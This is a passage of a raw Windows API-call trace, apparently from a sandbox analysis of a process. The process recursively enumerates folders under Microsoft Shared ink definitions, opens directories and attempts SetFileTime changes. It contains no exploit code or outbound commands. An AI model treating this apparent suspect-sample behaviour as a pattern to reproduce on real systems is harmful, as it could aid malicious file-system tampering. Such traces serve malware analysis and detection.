Flags=0x8, Size=0x80) returned 0x986848 [0143.299] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.299] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.299] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.299] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.299] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.300] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0143.300] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.300] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.300] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.300] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.300] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.300] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.300] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.300] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e8b0 [0143.301] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993110 [0143.301] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.301] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0143.301] GetLastError () returned 0x12 [0143.301] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.301] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.301] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.301] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0143.301] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0143.301] GetLastError () returned 0x12 [0143.301] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.301] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.301] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.301] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.301] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0143.301] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0143.301] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.301] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a4 [0143.303] SetFileTime (hFile=0x1a4, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.303] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x994ee8 [0143.303] DeviceIoControl (in: hDevice=0x1a4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x994ee8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x994ee8, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.303] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x994ee8) returned 1 [0143.303] NtClose (Handle=0x1a4) returned 0x0 [0143.303] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.303] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.303] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.303] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.303] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.303] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.303] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.304] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.304] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.304] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.304] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.304] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994f00 [0143.304] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993218 [0143.304] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.304] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0143.304] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.304] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.305] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994f20 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993320 [0143.305] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.305] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.305] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.305] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994f40 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993428 [0143.305] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x380) returned 0x9956e8 [0143.305] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x992ba0) returned 1 [0143.305] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.305] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0143.305] GetLastError () returned 0x12 [0143.305] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.305] FindClose (in: hFindFile=0x829cb8 | out: hFindFile=0x829cb8) returned 1 [0143.305] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.305] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0143.305] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0143.306] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0143.306] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0143.306] GetLastError () returned 0x12 [0143.306] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991710) returned 1 [0143.306] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.306] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991608) returned 1 [0143.306] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.306] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0143.306] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0143.306] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), fInfoLevelId=0x0, lpFileInformation=0x1a7eb20 | out: lpFileInformation=0x1a7eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.361] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0143.361] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x995a70 [0143.362] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x995a70, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x995a70, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0143.362] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x995a70) returned 1 [0143.362] NtClose (Handle=0x19c) returned 0x0 [0143.362] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x991500) returned 1 [0143.362] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.362] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.362] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991500 [0143.362] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.362] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991608 [0143.362] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829c38 [0143.362] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.363] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0143.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.363] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.363] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x991710 [0143.363] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x994f60 [0143.363] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x993530 [0143.363] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.363] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0143.364] GetLastError () returned 0x12 [0143.364] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7e96c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7e96c) returned 0x829cb8 [0143.364] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa90000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.364] FindNextFileW (in: hFindFile=0x829cb8, lpFindFileData=0x1a7e96c | out: lpFindFileData=0x1a7e96c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, 